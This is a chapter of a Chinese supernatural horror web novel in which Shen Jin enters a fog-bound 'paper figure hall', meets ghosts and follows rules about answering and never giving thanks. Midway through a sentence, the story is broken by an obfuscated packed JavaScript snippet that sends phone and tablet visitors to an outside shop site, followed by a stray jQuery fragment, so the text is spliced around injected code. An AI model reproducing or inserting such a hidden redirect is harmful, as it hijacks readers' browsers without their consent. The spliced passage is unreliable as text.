第三章亥时入卷
亥时，三更前最后一个时辰。子时一过，便是新的一天。
沈烬坐在床沿，怀里揣着那只小纸人，书压在枕头底下。她没开灯，窗外透进来一点月光，落在地上是青白色的。后街方向，远远的，传来一声唢呐，只响了一声，就断了。她数着心跳。一下，两下，三下。每隔七下，她数一遍。腿有点麻，她换了个姿势坐着。
心跳快了一拍。不是她的心跳。是胸口那只纸人。它贴在她的心口，隔着衣裳，隔着皮肉，硌着她的肋骨。她的心跳快了，它就跟着一跳。一下，两下，跟她的心跳对上了。她把手按在胸口上，按得重了些。它还在跳。纸人没有心，却跟着她的心跳。她数了一遍，又数了一遍。它跳了七下。
然后停了。
窗外，起了雾。
她走到后门口，把门推开一条缝。街上什么都看不清，路灯的光缩成一团，模模糊糊的，像隔着一层水。她皱了皱鼻子，闻到一股纸灰味，从巷子深处飘过来的。
她从门缝里看出去。后街的巷子口，什么也看不见。只有声音。脚步声。一下，一下，从巷子深处来，往巷子口去。不快，不慢，间隔均匀。像用尺子量过的。
她数着。一步，两步，三步，四步，五步，六步，第七步。
脚步声在巷子口停了。
她从门缝里看出去。雾很浓，浓得看不见地，只看见一只脚迈进来，脚底落在青石板上，扑哧一声，像踩在水里。那只脚穿着布鞋，白的，鞋帮上绣着一朵小小的红花。然后是另一只脚，迈进来，又一声扑哧。两个人，一前一后，往巷子外头走。雾裹着他们，走到路灯底下，影子晃了一下，就没了。
她没有跟上去。跟上去也没用。
她等了半个时辰。亥时还剩半个时辰。她回到屋里，把书翻开。第七十七页的字还在，比夜里更清楚了些，像被墨浸透了。墨字底下，那行小字也还在：带一件纸做的东西。她摸了摸怀里那只纸人。它不跳了，凉凉的，硬邦邦的，像一块冰。
她揉了揉眼睛。
书页冷不丁自己翻了一页。
她没动，手指按在纸面上。书页翻到第七十七页，顿了一下。然后，纸面上浮出一行字，像墨渗进水里：一页一界，一纸一规矩。入卷者，记规矩。
然后，字全没了。书页变成了一片空白。她低下头看怀里的纸人。小纸人的额头上，那道指甲按出来的弧印，正在往外渗墨。一滴，一滴，滴在她的手心里。凉的。
她从门缝里看出去。雾没了。街灯亮了，比平时亮，像烧着一盏看不见的灯。后街的巷子口，站着一个人。
看不清脸。只能看见身形，瘦，高，肩膀有点塌，像扛着什么沉东西。头上戴着一顶帽子，压得很低，看不见眼睛。身上的衣服是灰的，旧了，边角磨烂了，露出里面的棉花。棉花是白的，白得刺眼，像纸。
那人站在巷子口，一动不动。
她把门推开，走出去。
巷子口没有人。地上湿漉漉的，像下过一场雨。她蹲下去看。脚印还在，布鞋的，鞋帮上绣着红花。两只脚印，一步，一步，隔着一扎长。最后那道脚印的位置，积了一小滩水。月光落进去，亮晶晶的。她伸手去摸那水，指尖刚碰到，脚印就没了。像从来没存在过。
雾又起了。这一次，雾是从脚底往上长的，先没过脚踝，再没过膝盖，再没过腰。她想退回去，腿却动不了。雾裹着她，往后街的方向拖。拖得很快，像有人拽着她的脚脖子。她低下头，看见一只手从雾里伸出来，抓着她的脚踝。那只手是纸做的，指节摆明，指缝里夹着竹篾的碎屑。
她没有喊。她把手伸进怀里，摸出那只小纸人。纸人的额头还是湿的，墨还在渗。她把纸人举起来，朝着那只手，松开。
纸人落下去，落进雾里。
雾散了。
她站在后街的巷子口。雾把什么都吞了，只有脚下这块地是实的。她低下头看。脚踝上，什么痕迹也没有。纸人也没了。只有她手心里还有一点湿，是纸人额头上渗出来的墨。
她抬起头，环顾四周。脖子有点酸，她转了转头，眨了眨眼睛。
她站在后街的巷子口。可这不是她认识的那条后街。
巷子口还是那个巷子口，老槐树还在，树干粗得两个人抱不过来。可树叶子是白的，像挂了层霜。她眨了眨眼睛，以为自己看错了。地上铺着青石板，一块一块，码得整整齐齐，每块石板上都刻着一个字。她蹲下去看最近的一块。
蹲久了腿有点麻。她站起来，甩了甩腿，揉了揉膝盖，看清了最近的一块。刻的是一个「七」。第二块，是一个「入」。第三块，是一个「规」。第四块，是一个「矩」。第五块，是一个「不」。第六块，是一个「答」。第七块，是一个「不」。第八块，是一个「谢」。她把这八个字记在心里，没有念出声。
巷子里，一盏灯也没有。可她能看见。月光从巷子口照进来，照亮了前几家铺子。她认得这些铺子。寿衣店，花圈店，纸扎店，香烛店，卖骨灰盒的，扎库的，殡仪馆的侧门。六家。一家不多，一家不少。
可她的目光，落在最后一家旁边。
殡仪馆侧门的旁边，多了一家铺子。那家铺子不在她的记忆里，纸人馆不在她的记忆里。门脸跟别家一样旧，招牌也褪了色，看不清写的什么。门是半掩的，里头黑乎乎的，什么也看不见。门口挂着一条白幡，被风吹着，一晃，一晃。风是凉的，从铺子里头吹出来，带着一股纸灰味和焚香的气息。她皱了皱鼻子，捏了一下手指，继续往前走。走了几步，顿了一下。
门口，站着一个人。
男人，五十多岁，瘦，脸上棱角摆明，像刀削的。他眼睛往她脸上扫了一下，没挪开。穿一件旧夹克，领口磨白了，袖口挽着，露出来的半截小臂晒得黢黑。他头发花白，剪得很短，板寸，军人那种板法，可站姿不像军人，有点驼背。他手里拿着一支烟，烟灭了，他没在意，只是看着沈烬。
「你是沈烬？」
她没答话。
「我叫潘国安。」他说，「叫我老潘就行。」他顿了一下，「我在这条街上走了三夜了。今晚，总算等到了一个人。」
她看着他，没动。
「你没听见我说话？」他问。
她还是不答。她把这七个字压在舌根底下：七，入，规，矩，不，答，不，谢。
老潘抽完最后一口烟，把烟头在鞋底上摁灭，往地上一扔。烟头在地上滚了滚，灭了。他往旁边让了让，露出身后那家铺子的门：「这里头，有个规矩。进这个门之前，先把那个规矩找出来。找不出来，进去了也出不来。」
她还是没说话。
老潘叹了口气，摇了摇头。他把手插进夹克口袋里，往后退了一步：「算了，等你找出来了再说话。我在这门口等了三天，不想再进去了。」
她从他身边走过去，往那家铺子的门口走。走到门口，腿有点麻，甩了甩腿，顿了一下。
门楣上，挂着一块匾。匾上的字被灰糊住了，看不清。她伸手去够，指尖刚刚能够到。她踮起脚尖，把灰抹掉。三个字，黑漆漆的，像用墨写的：纸人馆。
门框边上，贴着一张纸。纸是黄的，边缘烧焦了，像从火里抢出来的。她把纸揭下来，凑到月光底下看。纸上是字，不是墨写的，是用指甲刻出来的，歪歪扭扭的，刻得很用力：
「一，入此门，先找规矩。找着了，规矩护你；找不着，此门不闭。」
「二，馆中之纸人问你话，你必答。答对了，它走；答错了，它不走。」
「三，馆中不得言谢。说了谢，它就不让你走了。」
她把这三条规矩看了一遍，又看了一遍。然后，她把纸叠好，塞进怀里，推开了那扇门。
门后是一片白。白的墙，白的地面，白的天花板。什么都没有，只有白。白得她眼睛发酸。她眯起眼睛，把手挡在眼前，一步一步往里走。走了几步，脚底的地板冰凉，冷意从脚底传到腿上。又走了几步，白里冷不丁多了一个黑点。
那是一个纸人。
立在她前面三步远的地方，纸脸朝着她。纸人的脸是白的，糊得很匀，腮红两点，画得正正的，眼睛的位置是空的，没点睛。竹篾的骨架在白纸底下若隐若现，像人的肋骨。
纸人张了张嘴。没有声音。可她知道它在说话。
它问：「你来做什么？」
她看着那张没有眼睛的纸脸。她的手指在身侧攥紧，又松开。她知道，如果她不答，或者答错了，它不会让她走。可她也知道，她不能说出那三个字里的任何一个。规矩，她已经记在心里了。
她开口：「我来领纸人。」
纸人歪了歪头。歪头的动作很慢，像有什么东西卡在里头，咔哒一声，才歪过去。然后，它的嘴又动了。它问：「领谁？」
她没有犹豫。她伸出手，指向那个站在门口、戴着帽子、穿着旧夹克的男人：「领他。」
门口，那个男人不见了。纸人馆的门，还开着。可门口空荡荡的，连那条白幡都不晃了。
她转过身，往回走。走了三步，冷不丁听见身后有人说话。不是纸人的声音。是人的声音。声音很轻，像从很远的地方传来：
「沈烬。」
她顿了一下。
「你叫沈烬。」那个声音说，「江浸月是你什么人？」
她的脊背僵了一瞬。手指在身侧攥紧，指节发白。她没有回头。她知道，这条规矩里没有说不能回头。可她就是不想回头。她把怀里的纸人摸了一下，它凉凉的，硬邦邦的，一动不动。她把怀里的规矩摸了一下，压在舌根底下的那七个字，一个也没少。
她问：「你是谁？」
那个声音笑了一下。不是开心的笑，是那种憋了很久的笑，从嗓子眼里挤出来，嘎吱一声：「我是王建军。」
她转过身。
门口站着一个人。不是老潘。是一个年轻男人，三十出头，脸是白的，白得跟纸人一样，可眉眼是活的，是人的眉眼。他穿着那件洗得发白的蓝褂子，袖口挽着，露出来的半截小臂晒得黢黑。他站在门口，笑着看她，可那笑不是笑，是苦。
「我不是王建军。」他说，「王建军是我哥。我叫王建民。」他顿了一下，「桂兰是我嫂子。」
她看着他，没动。
「桂兰来找过你。」他说，「她跟我说，沈老板家的纸人，不对。她说你扎的那个纸人，眼眶子是活的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933293|213681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她怕了。她不敢再来找你。」他笑了一下，笑容里没有温度，「她不知道，她怕的那个东西，不是你扎的。是这里头放出来的。」
他往后退了一步，退进了那片白里。
「我嫂子在这里头。」他说，「可我进不去那个门。我不是这条规矩里的人。」他指了指自己的脸，「你看这张脸，白成什么样了。活人的脸，不是这样的。」
她的目光落在他的脸上，停了一下。
她明白了。他不是活人。他死了不知道多久了，一直困在这里头，出不去，进不来。可他不知道自己死了。他以为自己是王建军，以为自己是来找嫂子的。可他连自己是谁都分不清了。
「那老潘呢？」她问。
王建民歪了歪头，像有什么东西卡在里头，「什么老潘？」
「刚才在门口等我的那个人。」
他看了她一会儿，眼神里混着可怜和庆幸，笑了：「你看见他了？那他也看见你了？」他顿了一下，「我在这门口守了三天，走了好几十个人，没一个人看见他。你是头一个。」
她把这话说了一遍，记在心里。
「他是谁？」她又问。
「我不知道。」他说，「可我知道，他也在等人。等一个能看见他的人。」
那片白冷不丁动了一下。不是她动了，也不是王建民动了。是那片白自己动了，像潮水一样，从四面八方涌过来。涌得很快，一下子就到了跟前。她的手指在口袋里攥紧。她往后退，退到门口，门在身后。她退无可退。
王建民还站在原地，没动。白把他吞了。她看见他的脸在白里晃了一下，像水里的倒影，然后，什么都没有了。
她退到门口，一只手撑在门框上。门框是凉的，凉得她手指发麻。她看见那片白朝她涌过来，涌到门槛边上，冷不丁停了。像有什么东西挡住了它。
门槛上，有一道印子。印子是红的，像有人用血画了一条线。血线从门槛这一头，画到那一头，断了。断了的那一头，缺了一块，像被什么东西咬了一口。
她蹲下去看那道血线。蹲久了腿有点麻。她站起来，甩了甩腿，揉了揉膝盖，看清了，不是血，是朱砂。朱砂画的红线，拦在门口，挡住了那片白。可红线断了一截，断口朝外，像有什么东西从外头进来，撞断了线。
红线断口的位置，跟她怀里那只小纸人的额头一样宽。
她把小纸人拿出来。小纸人的额头上，那道指甲按出来的弧印，正在往外渗朱砂。红红的，顺着纸人的脸颊往下流，流到下巴，流到脖子，流进领口里。
她的手指在纸人身上攥紧，指节发白。
小纸人还在她的手里。它没有动。可她知道，它已经做了什么。它用额头上那道印子，撞断了门口那条红线。它让她进来了。可红线断了，那片白就挡不住了。
白涌进来，一下子裹住了她。她的眼睛眯起来，闭上了。
等她睁开眼的时候，她站在一条街上。
不是殡葬一条街。是一条她不认识的街。街道很宽，两边是铺子，铺子的招牌都是白的，像办丧事用的。街上没有人，只有她一个。风吹过来，带着一股纸灰味。她的鼻子皱了皱，眨了眨眼睛。
街的尽头，有一家铺子。铺子的门口，挂着一块匾。匾上写着三个字，黑漆漆的：纸人馆。
铺子的门开着。里头站着七个纸人。纸脸雪白，腮红两点，眼睛的位置是空的，没有点睛。站成一排，整整齐齐，像在等她。
她往前走。走了几步，顿了一下。腿有点酸，她揉了揉腿。
第七个纸人的手里，拿着一样东西。是一根红绳。红绳绕在它的手指上，绕了好几圈。红的，红得扎眼，像刚染的，像她樟木箱子里那卷红绳。
红绳的一头，从纸人的手指缝里垂下来，落在地上。绳子在地上绕了一圈，像一个人蹲在那里，抱着膝盖。抱着的那个姿势，她认得。扎纸的规矩里，那叫「候归」。等人来，把它领走。
可她不知道该领哪一个。规矩说了，答对了，它走。答错了，它不走。可她不知道该问什么。
她站在原地，没动。纸人们也没动。风吹过来，吹动红绳。红绳在地上晃了一下，像有人牵着它。
她没有伸手去碰。指节攥紧。
然后，她听见身后有人说话。声音很轻，像从很远的地方传来：
「别动。」
她没动。
「别碰那根绳子。」那个声音说，「那根绳子不是绑它的，是绑你的。你一碰，就被它拴上了。」
她转过头。
身后站着一个人。不是老潘，不是王建民，不是那七个纸人。是一个女人。三十出头，脸是青白的，眼下两块暗斑，像几天没合过眼。她穿着那件碎花褂子，被风拍着，一下，一下。
是赵桂兰。
赵桂兰站在她身后，手里攥着一把灰。她把灰撒在地上，撒成了一个圆圈，把自己圈在里头。她看着沈烬，眼神是空的，可那空里头有一点东西，说不上来是什么。
口袋里，沈烬记得，还揣着赵桂兰那天给她的纸钱。说好了要烧的，结果人先没了。纸钱还在口袋里，没烧成。
「你来了。」赵桂兰说，「沈老板。」